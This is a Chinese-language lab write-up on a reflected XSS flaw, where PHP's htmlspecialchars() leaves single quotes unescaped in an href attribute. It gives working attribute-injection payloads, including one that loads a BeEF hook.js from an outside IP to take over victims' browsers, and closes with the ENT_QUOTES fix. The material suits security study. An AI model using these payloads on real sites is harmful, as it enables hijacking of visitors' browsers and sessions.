1. 核心考点
- PHP 函数特性:理解
htmlspecialchars()的默认行为(默认不处理单引号)。 - HTML 属性逃逸:如何在
href属性中通过单引号闭合来注入新的事件属性。 - 动态 DOM 注入:在无法直接写入
<script>标签时,如何利用 JavaScript 动态构建 DOM 元素加载外部脚本。
2. 源码分析
查看关键后端代码:
if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>输入点啥吧!</p>";
}else {
// 关键点 1:使用了 htmlspecialchars 进行处理
// 注意:默认配置下,该函数只转义 &, ", <, >,不转义单引号'
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
// 关键点 2:输出点在 a 标签的 href 属性中,且两边使用的是单引号 '
......
$html2.="<a href='{$message}'>{$message}</a>";
}
}
分析结论:
- 虽然使用了过滤函数,但因为它没开启
ENT_QUOTES标志,所以 单引号'是安全的,会被原样输出。 - 输出位置在
<a href='...'>中,且包裹属性的是 单引号。 - 这意味着我们可以用输入中的
'闭合掉href属性,然后注入自己的属性(如onclick或onmouseover)。
3. 漏洞复现
3.1 基础弹窗测试
Payload 构造思路:
我们输入的内容被放在 href='[这里]'。
如果我们输入 'onclick='alert(1),后端拼接后的 HTML 变成:
<a href=''onclick='alert(1)'>...</a>
操作步骤:
- 在输入框输入:
'onclick='alert(111) - 点击提交。
- 在页面下方生成的链接上点击,成功弹窗。

为什么 F12 看到的和源码不一样?
- 源码 :
<a href=''onclick='alert(111)'>,这是真实的服务器返回,可以直接查看源码得知。 - F12 (Inspect): 浏览器会尝试修复语法错误(例如后面多余的那个闭合单引号),并规范化显示(把单引号显示为双引号),但这不影响攻击有效性。
3.2 进阶:注入 BeEF Hook (绕过标签过滤)
由于 htmlspecialchars 过滤了 < 和 >,我们无法直接输入 <script src="..."></script>。
解决方案:利用 JavaScript 的 DOM 操作动态创建 script 标签。
遇到的坑与解决:
- 双引号问题:Payload 中的 JS 代码需要用到双引号(例如
src="...")。虽然htmlspecialchars会把"转义成",但浏览器解析 HTML 属性时,会先进行HTML 实体解码,然后再交给 JS 引擎执行。所以 JS 执行时双引号是正常的。 - 页面刷新问题 :
<a href>标签点击后默认会跳转或刷新页面。如果不阻止这个行为,JS 刚运行请求还没发出去,页面就刷新了,导致 BeEF 无法上线。 必须加return false;。 - 闭合完整性:为了处理 PHP 代码中最后留下的那个悬空的单引号,建议构造一个完整的闭合或者利用
name属性吸收它。
完整 Payload (BeEF 版):
假设 BeEF 服务器 IP 为 10.130.37.192,我是本地搭建的 BeEF,所以我填的是 localhost。
'onclick='var s=document.createElement("script");s.src="http://10.130.37.192:3000/hook.js";document.body.appendChild(s);return false;'
或者使用 onmouseover 实现鼠标滑过即中招(不需要 return false):
'onmouseover='var s=document.createElement("script");s.src="http://10.130.37.192:3000/hook.js";document.body.appendChild(s);'


注入过程解析:
- 输入:上述 Payload。
- 后端处理:双引号被转义为
",单引号保留。 - 浏览器解析:
- 读取
onclick属性。 - 将
"还原为"。 - 执行 JS:创建一个 script 标签 -> 指向 hook.js -> 插入 body。
- 执行
return false-> 阻止<a href>的跳转 / 刷新。
- 读取
- 结果:BeEF 后台成功上线。
4. 防御措施
要彻底防御此类漏洞,必须在使用 htmlspecialchars 时显式指定编码模式,将单引号也一并转义。
不安全代码:
$message = htmlspecialchars($_GET['message']);
安全代码:
// ENT_QUOTES: 同时转义双引号和单引号
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
这样输入 ' 就会变成 ',无法闭合 HTML 属性,攻击失效。
正文完